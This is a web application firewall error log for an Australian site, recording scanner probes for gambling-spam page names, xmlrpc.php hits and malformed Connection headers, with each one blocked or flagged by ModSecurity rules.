[Sat Apr 04 03:49:37.618486 2026] [:error] [pid 36997:tid 37063] [client 75.119.155.172:63200] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "adAZ0dhdKImeRBAtzlyC0QAAAIM"]
[Sat Apr 04 03:49:40.287615 2026] [:error] [pid 37090:tid 37117] [client 75.119.155.172:63216] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "adAZ1OOs05xkA3bSxMcUUQAAANg"]
[Sat Apr 04 03:49:42.811078 2026] [:error] [pid 37090:tid 37107] [client 75.119.155.172:63232] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "adAZ1uOs05xkA3bSxMcUYQAAAM4"]
[Sat Apr 04 03:49:45.451477 2026] [:error] [pid 36995:tid 37026] [client 75.119.155.172:63244] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "adAZ2Si33-VM1wZicwS-bAAAABQ"]
[Sat Apr 04 03:49:48.035098 2026] [:error] [pid 37090:tid 37096] [client 75.119.155.172:58638] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "adAZ3OOs05xkA3bSxMcUgAAAAMM"]
[Sat Apr 04 03:49:50.524845 2026] [:error] [pid 36995:tid 37008] [client 75.119.155.172:58648] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "adAZ3ii33-VM1wZicwS-gQAAAAI"]
[Sat Apr 04 03:49:53.155793 2026] [:error] [pid 36996:tid 37057] [client 75.119.155.172:58654] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "adAZ4fZCLPDVmWK8lly3UwAAAFg"]
[Sat Apr 04 03:49:55.766003 2026] [:error] [pid 36996:tid 37056] [client 75.119.155.172:58662] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "adAZ4_ZCLPDVmWK8lly3YAAAAFc"]
[Sat Apr 04 03:50:54.723323 2026] [:error] [pid 36996:tid 37037] [client 75.119.155.172:7762] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "adAaHvZCLPDVmWK8lly3sAAAAEQ"]
[Sat Apr 04 03:50:57.311464 2026] [:error] [pid 37090:tid 37104] [client 75.119.155.172:2838] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "adAaIeOs05xkA3bSxMcV8gAAAMs"]
[Sat Apr 04 03:50:59.877650 2026] [:error] [pid 36997:tid 37085] [client 75.119.155.172:2848] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "adAaI9hdKImeRBAtzlyEIgAAAJg"]
[Sat Apr 04 03:51:02.518902 2026] [:error] [pid 36997:tid 37061] [client 75.119.155.172:2864] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "adAaJthdKImeRBAtzlyEOwAAAIE"]
[Sat Apr 04 03:51:05.186340 2026] [:error] [pid 36995:tid 37010] [client 75.119.155.172:2866] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "adAaKSi33-VM1wZicwS-2gAAAAQ"]
[Sat Apr 04 03:51:07.793032 2026] [:error] [pid 37090:tid 37102] [client 75.119.155.172:3758] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "adAaK-Os05xkA3bSxMcWTgAAAMk"]
[Sat Apr 04 03:51:10.350688 2026] [:error] [pid 36995:tid 37021] [client 75.119.155.172:3766] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "adAaLii33-VM1wZicwS-6AAAAA8"]
[Sat Apr 04 03:51:12.992905 2026] [:error] [pid 36997:tid 37073] [client 75.119.155.172:3774] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "adAaMNhdKImeRBAtzlyEgAAAAIw"]
[Sat Apr 04 03:51:15.608879 2026] [:error] [pid 36997:tid 37070] [client 75.119.155.172:3788] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "adAaM9hdKImeRBAtzlyEggAAAIk"]
[Sat Apr 04 03:51:18.228217 2026] [:error] [pid 36996:tid 37034] [client 75.119.155.172:29978] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "adAaNvZCLPDVmWK8lly32gAAAEE"]
[Sat Apr 04 03:51:20.841778 2026] [:error] [pid 37090:tid 37107] [client 75.119.155.172:29982] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "adAaOOOs05xkA3bSxMcWiwAAAM4"]
[Sat Apr 04 03:51:23.490773 2026] [:error] [pid 37090:tid 37093] [client 75.119.155.172:29998] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "adAaO-Os05xkA3bSxMcWmQAAAMA"]
[Sat Apr 04 03:51:25.959026 2026] [:error] [pid 36996:tid 37038] [client 75.119.155.172:30010] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "adAaPfZCLPDVmWK8lly36gAAAEU"]
[Sat Apr 04 03:51:28.575282 2026] [:error] [pid 36996:tid 37048] [client 75.119.155.172:13276] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "adAaQPZCLPDVmWK8lly37wAAAE8"]
[Sat Apr 04 06:10:48.876305 2026] [:error] [pid 2457:tid 2485] [client 43.135.139.165:35600] [client 43.135.139.165] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "adA66EmNHppaMd92ZpdbxwAAAAg"]
[Sat Apr 04 06:49:47.556949 2026] [:error] [pid 2567:tid 2577] [client 47.79.197.93:27754] [client 47.79.197.93] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.79.197.93, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "adBEC2JJmfRsTrAKjdSJMAAAAMM"], referer: https://www.google.com/
[Sat Apr 04 06:52:22.987383 2026] [:error] [pid 2458:tid 2514] [client 47.79.196.52:28730] [client 47.79.196.52] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.79.196.52, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "adBEpiNozic5SuWqclnxSgAAAEo"], referer: https://www.google.com/
[Sat Apr 04 07:04:27.540833 2026] [:error] [pid 2567:tid 2584] [client 45.92.1.112:62717] [client 45.92.1.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "adBHe2JJmfRsTrAKjdSS7wAAAMo"]
[Sat Apr 04 07:04:28.106433 2026] [:error] [pid 2458:tid 2527] [client 45.92.1.112:53256] [client 45.92.1.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "adBHfCNozic5SuWqcln0YgAAAFc"]
[Sat Apr 04 07:04:28.712965 2026] [:error] [pid 37114:tid 37133] [client 45.92.1.112:55261] [client 45.92.1.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "adBHfM-DnSj3fGMexeKinQAAARE"]
[Sat Apr 04 07:04:29.275252 2026] [:error] [pid 37114:tid 37116] [client 45.92.1.112:56523] [client 45.92.1.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "adBHfc-DnSj3fGMexeKipQAAAQA"]
[Sat Apr 04 07:04:29.771746 2026] [:error] [pid 2567:tid 2583] [client 45.92.1.112:50195] [client 45.92.1.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "adBHfWJJmfRsTrAKjdSS_QAAAMk"]
[Sat Apr 04 08:23:32.177503 2026] [:error] [pid 2459:tid 2544] [client 43.140.247.223:48682] [client 43.140.247.223] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "adBaBAefyCmu4LR_PlqnXwAAAIw"]
[Sat Apr 04 12:18:51.523633 2026] [:error] [pid 37114:tid 37129] [client 49.51.178.45:53962] [client 49.51.178.45] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "adCRK8-DnSj3fGMexeJBWwAAAQ0"]
[Sat Apr 04 15:01:43.515135 2026] [:error] [pid 2567:tid 2581] [client 114.96.103.33:60486] [client 114.96.103.33] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "adC3V2JJmfRsTrAKjdS9MwAAAMc"]
[Sat Apr 04 15:47:59.278127 2026] [:error] [pid 2567:tid 2590] [client 43.153.79.218:46478] [client 43.153.79.218] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "adDCL2JJmfRsTrAKjdTTyQAAANA"]
[Sat Apr 04 19:46:26.182046 2026] [:error] [pid 2457:tid 2484] [client 43.157.95.239:56138] [client 43.157.95.239] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "adD6EkmNHppaMd92Zpc-TAAAAAc"]
[Sat Apr 04 20:48:08.183533 2026] [:error] [pid 2457:tid 2495] [client 158.47.220.239:22930] [client 158.47.220.239] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 158.47.220.239, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "adEIiEmNHppaMd92ZpdSbQAAABI"]
[Sat Apr 04 20:51:57.976124 2026] [:error] [pid 37114:tid 37129] [client 51.75.119.75:40362] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20co.aspx"] [unique_id "adEJbc-DnSj3fGMexeI_OAAAAQ0"]
[Sat Apr 04 20:51:58.072796 2026] [:error] [pid 2457:tid 2491] [client 51.75.119.75:52674] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "adEJbkmNHppaMd92ZpdTtwAAAA4"]
[Sat Apr 04 20:52:00.426053 2026] [:error] [pid 37114:tid 37124] [client 51.75.119.75:52208] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "adEJcM-DnSj3fGMexeI_PQAAAQg"]
[Sat Apr 04 20:52:00.455496 2026] [:error] [pid 37114:tid 37119] [client 51.75.119.75:52194] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "adEJcM-DnSj3fGMexeI_PwAAAQM"]
[Sat Apr 04 20:52:02.920544 2026] [:error] [pid 2457:tid 2480] [client 51.75.119.75:52216] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "adEJckmNHppaMd92ZpdTxQAAAAM"]
[Sat Apr 04 20:52:03.061051 2026] [:error] [pid 37114:tid 37125] [client 51.75.119.75:52230] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "adEJc8-DnSj3fGMexeI_RQAAAQk"]
[Sat Apr 04 20:52:05.345395 2026] [:error] [pid 37114:tid 37131] [client 51.75.119.75:58466] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "adEJdc-DnSj3fGMexeI_SAAAAQ8"]
[Sat Apr 04 20:52:05.616114 2026] [:error] [pid 37114:tid 37136] [client 51.75.119.75:58470] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "adEJdc-DnSj3fGMexeI_SQAAARQ"]
[Sat Apr 04 20:52:07.920549 2026] [:error] [pid 2567:tid 2592] [client 51.75.119.75:58476] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "adEJd2JJmfRsTrAKjdQt3gAAANI"]
[Sat Apr 04 20:52:07.999776 2026] [:error] [pid 37114:tid 37134] [client 51.75.119.75:58490] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20auto.aspx"] [unique_id "adEJd8-DnSj3fGMexeI_TAAAARI"]
[Sat Apr 04 20:52:10.499579 2026] [:error] [pid 37114:tid 37125] [client 51.75.119.75:58496] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "adEJes-DnSj3fGMexeI_TgAAAQk"]
[Sat Apr 04 20:52:10.550438 2026] [:error] [pid 37114:tid 37119] [client 51.75.119.75:58500] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20auto.aspx"] [unique_id "adEJes-DnSj3fGMexeI_UAAAAQM"]
[Sat Apr 04 20:52:12.894752 2026] [:error] [pid 2457:tid 2490] [client 51.75.119.75:58512] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "adEJfEmNHppaMd92ZpdT3AAAAA0"]
[Sat Apr 04 20:52:13.088484 2026] [:error] [pid 2458:tid 2510] [client 51.75.119.75:58526] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "adEJfSNozic5SuWqclkdZAAAAEY"]
[Sat Apr 04 20:52:15.309430 2026] [:error] [pid 2458:tid 2524] [client 51.75.119.75:33298] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "adEJfyNozic5SuWqclkdagAAAFQ"]
[Sat Apr 04 20:52:15.455331 2026] [:error] [pid 37114:tid 37135] [client 51.75.119.75:33304] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "adEJf8-DnSj3fGMexeI_WQAAARM"]
[Sat Apr 04 20:52:17.758023 2026] [:error] [pid 2459:tid 2554] [client 51.75.119.75:33312] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "adEJgQefyCmu4LR_PloZ0wAAAJY"]
